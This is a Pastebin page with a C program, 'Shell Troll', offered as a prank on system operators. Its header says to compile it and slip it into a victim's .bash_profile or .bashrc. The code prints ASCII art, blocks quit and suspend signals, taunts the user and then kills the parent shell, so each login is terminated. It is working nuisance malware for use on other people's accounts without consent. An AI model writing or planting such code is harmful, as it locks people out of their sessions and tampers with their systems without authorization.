Advertisement
Guest User

Untitled

a guest
Aug 18th, 2017
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.87 KB | None | 0 0
  1. /************************************************
  2.  * Shell Troll
  3.  *
  4.  * Author: Green Boy
  5.  *
  6.  * Requirements:
  7.  * Any fully POSIX compliant UNIX-based system
  8.  * with at least a partial implementation of the
  9.  * UNIX signal daemon.
  10.  *
  11.  * WHAT THIS DOES:
  12.  * This is a really nasty prank that's a great
  13.  * April Fools gag for sysops the world over.
  14.  * This programme simply loads up, prints the
  15.  * trollface (reddit search "trollface" if you
  16.  * don't know what this is), and blocks all
  17.  * terminal signals, except CTRL-C. After the
  18.  * long sleep has expired, or the user presses
  19.  * CTRL-C, it will then print "U Mad Bro?" below
  20.  * the trollface, further enraging your victim.
  21.  * It then sleeps for the duration of the
  22.  * shortsleep constant, after which it kills the
  23.  * parent process ID (their TMUX session, screen
  24.  * session, login terminal, whatever it is).
  25.  *
  26.  * HOW TO USE SHELL TROLL:
  27.  * Download source code and compile with
  28.  * gcc -o [YOUR_BIN_NAME_HERE] shellTroll.c
  29.  *
  30.  * Replace [YOUR_BIN_NAME_HERE] with what you want
  31.  * to call the compiled programme, and where to
  32.  * stash it. example:
  33.  *
  34.  * gcc -o /usr/local/bin/lol shellTroll.c
  35.  *
  36.  * Then slip the full path to the compiled programme
  37.  * into their .bash_profile or .bashrc. That's it!
  38.  * You're set! Be sure you have a way to reverse
  39.  * what you did (write access to their .bash_profile
  40.  * or whatever)!
  41.  *
  42.  * DISCLAIMER:
  43.  * I am in no way responsible for any reprocussions
  44.  * you might suffer by using this programme on
  45.  * yourself, your colleagues, your friends, or
  46.  * your parents. If they disown you, fire you,
  47.  * defriend you, hate you, want to fuck you up,
  48.  * chase you with a noose or blunt object, kick
  49.  * you into the pavement, and/or inflict torture
  50.  * upon your dead corpse it is completely of your
  51.  * own doing. Furthermore, if by utilising this
  52.  * application you do damage of any kind to your
  53.  * own system, it is YOUR problem and not mine!
  54.  * Finally, I will not support this programme
  55.  * at all. It is provided to you at no cost, but
  56.  * with ABSOLUTELY NO support. I am not to be held
  57.  * responsible under any circumstances!
  58.  *
  59.  * (summary: You're on your fucking own!)
  60.  *
  61.  ***********************************************/
  62. #include <stdio.h>
  63. #include <stdlib.h>
  64. #include <signal.h>
  65. #include <sys/types.h>
  66. #include <unistd.h>
  67. #include <setjmp.h>
  68.  
  69. #define SHORTSLEEP 3
  70. #define LONGSLEEP 8
  71.  
  72. void setSigs( void );
  73. void umadbro( int signal );
  74.  
  75. sigjmp_buf point;
  76.  
  77. int main( void )
  78. {
  79.     pid_t shellPid;
  80.     int sleeptime = LONGSLEEP;
  81.     shellPid = getppid();
  82.  
  83.     setSigs();
  84.  
  85.     printf( "                                                            \n" );
  86.     printf( "                       /$MMMNMMMMMNMMMD+++++\\               \n" );
  87.     printf( "               MMMMMMMN       DNMMI          MM,            \n" );
  88.     printf( "           MM?/                :       M       MM           \n" );
  89.     printf( "        NMN  M                        M  8      MM          \n" );
  90.     printf( "       MM      M    ,M                D  N  ,    MM         \n" );
  91.     printf( "       M             M       =           N N      M         \n" );
  92.     printf( "      NM                       /NMMMMMM:           M        \n" );
  93.     printf( "     MM       MMMMMMO        NM   8MMMMMMN          MM      \n" );
  94.     printf( "   MM  M      MMMMMMMMNM$   MM  NMMM?,$NMM  8       M M+    \n" );
  95.     printf( "   M N N     /       MM       M/    NN      NMMMMMM    7M   \n" );
  96.     printf( "  MMM  :MNMMMM +     MM               NMMMMM8  M   MM   NN  \n" );
  97.     printf( "  MM7     M MMN+    MN                       +MMM   M    M  \n" );
  98.     printf( "   MM M   M       MM           MM$MMN$    NMM  ~MMM M    M  \n" );
  99.     printf( "    N,M  NMM   M  ZMM     MNMM MN     MMMM     M   OM M MN  \n" );
  100.     printf( "    MM   MNMMM       MNM         NMMM    N   NMM     M,NM   \n" );
  101.     printf( "     M   MM M NMMMN      ZMNMMMNZM      MMMM MN      MM     \n" );
  102.     printf( "     MN  MM M  M    :M    M      M MMMMMNM  NM      MM      \n" );
  103.     printf( "     :M  MMMMNMM$    M    M   ,MMMMMMM   M MM      NN       \n" );
  104.     printf( "     ,N  MMMMMMMMMMMMMMMMMMMMMMMN N      NM        M        \n" );
  105.     printf( "     NM  M MMMMMMMMMMMMMMMMM      M    MMM        M         \n" );
  106.     printf( "     M    M:M M  M   M     M       M?MM         NM          \n" );
  107.     printf( "     M     NMNDM 8M  ?M    M    MMMMZ   M  MM MM=           \n" );
  108.     printf( "     M        MMMMMMMMMMMMMMMMMM     N  MM  NM              \n" );
  109.     printf( "     M  M                        N~ ~M   MMN                \n" );
  110.     printf( "     M       :M?            NM  MN    MMN                   \n" );
  111.     printf( "     M     M             8M       8MM/                      \n" );
  112.     printf( "     N                         ?MM                          \n" );
  113.     printf( "      NM                 MMMMMM                             \n" );
  114.     printf( "        NMMMMNMMMMMMMMNZ/                                   \n" );
  115.     printf( "                                                            \n" );
  116.  
  117.     if ( sigsetjmp( point, 1 ) ) sleeptime = SHORTSLEEP;
  118.  
  119.     sleep( sleeptime );
  120.     if ( sleeptime != SHORTSLEEP )
  121.     {
  122.         printf( "                        U Mad Bro?\n\n\n" );
  123.         sleep( 2 );
  124.     }
  125.     kill( shellPid, SIGKILL );
  126. }
  127.  
  128. void setSigs( void )
  129. {
  130.     struct sigaction sa;
  131.  
  132.     sigfillset( &sa.sa_mask );
  133.     sa.sa_flags = 0;
  134.     sa.sa_handler = SIG_IGN;
  135.  
  136.     sigaction( SIGQUIT, &sa, NULL );
  137.     sigaction( SIGALRM, &sa, NULL );
  138.     sigaction( SIGTSTP, &sa, NULL );
  139.     sigaction( SIGABRT, &sa, NULL );
  140.  
  141.     sa.sa_handler = umadbro;
  142.     sigaction( SIGINT, &sa, NULL );
  143. }
  144.  
  145. void umadbro( int signal )
  146. {
  147.     struct sigaction sa;
  148.  
  149.     sigfillset( &sa.sa_mask );
  150.     sa.sa_flags = 0;
  151.     sa.sa_handler = SIG_IGN;
  152.  
  153.     sigaction( SIGQUIT, &sa, NULL );
  154.     sigaction( SIGALRM, &sa, NULL );
  155.     sigaction( SIGTSTP, &sa, NULL );
  156.     sigaction( SIGABRT, &sa, NULL );
  157.     sigaction( SIGINT, &sa, NULL );
  158.  
  159.     printf( "                        U Mad Bro?\n\n\n" );
  160.  
  161.     siglongjmp( point, 1 );
  162. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement